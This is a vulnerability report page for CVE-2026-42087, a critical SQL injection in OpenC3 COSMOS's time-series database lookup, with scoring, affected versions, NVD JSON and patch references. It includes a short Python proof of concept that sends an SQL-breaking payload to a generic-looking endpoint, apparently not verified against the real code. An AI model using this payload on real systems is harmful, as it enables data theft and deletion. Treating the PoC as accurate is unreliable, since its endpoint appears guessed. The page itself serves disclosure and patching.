Security Vulnerability Report
中文
CVE-2026-42087 CVSS 9.6 CRITICAL

CVE-2026-42087

Published: 2026-05-04 18:16:31
Last Modified: 2026-05-08 19:53:17

Description

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From version 6.7.0 to before version 7.0.0-rc3, a SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The tsdb_lookup function in the cvt_model.rb file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data. This issue has been patched in version 7.0.0-rc3.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openc3:cosmos:*:*:*:*:open_source:*:*:* - VULNERABLE
cpe:2.3:a:openc3:cosmos:7.0.0:rc1:*:*:open_source:*:*:* - VULNERABLE
cpe:2.3:a:openc3:cosmos:7.0.0:rc2:*:*:open_source:*:*:* - VULNERABLE
OpenC3 COSMOS >= 6.7.0, < 7.0.0-rc3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Code for CVE-2026-42087 # The vulnerability exists in the 'tsdb_lookup' function within cvt_model.rb import requests target_url = "http://target-cosmos-server/api/tsdb_lookup" # Malicious payload to break out of SQL statement and execute arbitrary command # Example: Attempt to extract version information or delete data payload = "'; SELECT version(); --" params = { "input": payload } try: response = requests.get(target_url, params=params) if response.status_code == 200: print("[+] Potential SQL Injection successful!") print(f"Response: {response.text}") else: print("[-] Request failed or injection blocked.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42087", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:30.830", "lastModified": "2026-05-08T19:53:16.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From version 6.7.0 to before version 7.0.0-rc3, a SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The tsdb_lookup function in the cvt_model.rb file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data. This issue has been patched in version 7.0.0-rc3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:*:*:*:*:open_source:*:*:*", "versionStartIncluding": "6.7.0", "versionEndExcluding": "7.0.0", "matchCriteriaId": "3AC48ACD-FB79-47F4-9D3D-D28965BCA295"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:7.0.0:rc1:*:*:open_source:*:*:*", "matchCriteriaId": "38B72355-49A3-4D2F-BFDB-EE53C9E2C7AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:7.0.0:rc2:*:*:open_source:*:*:*", "matchCriteriaId": "13E3A0EA-1085-4505-80BB-C0B133EC3498"}]}]}], "references": [{"url": "https://github.com/OpenC3/cosmos/commit/9ba60c09c8836a37a2e4ea67ab35fe403e041415", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-v529-vhwc-wfc5", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-v529-vhwc-wfc5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}